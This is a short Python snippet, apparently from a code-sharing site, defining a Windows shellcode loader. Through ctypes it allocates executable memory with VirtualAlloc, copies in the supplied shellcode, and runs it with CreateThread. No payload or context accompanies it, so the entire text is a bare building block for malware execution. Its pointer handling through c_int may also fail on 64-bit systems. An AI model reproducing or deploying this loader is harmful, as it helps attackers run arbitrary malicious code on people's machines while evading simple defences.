shellcode.py 文件源码

def allocate_exe(shellcode):

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))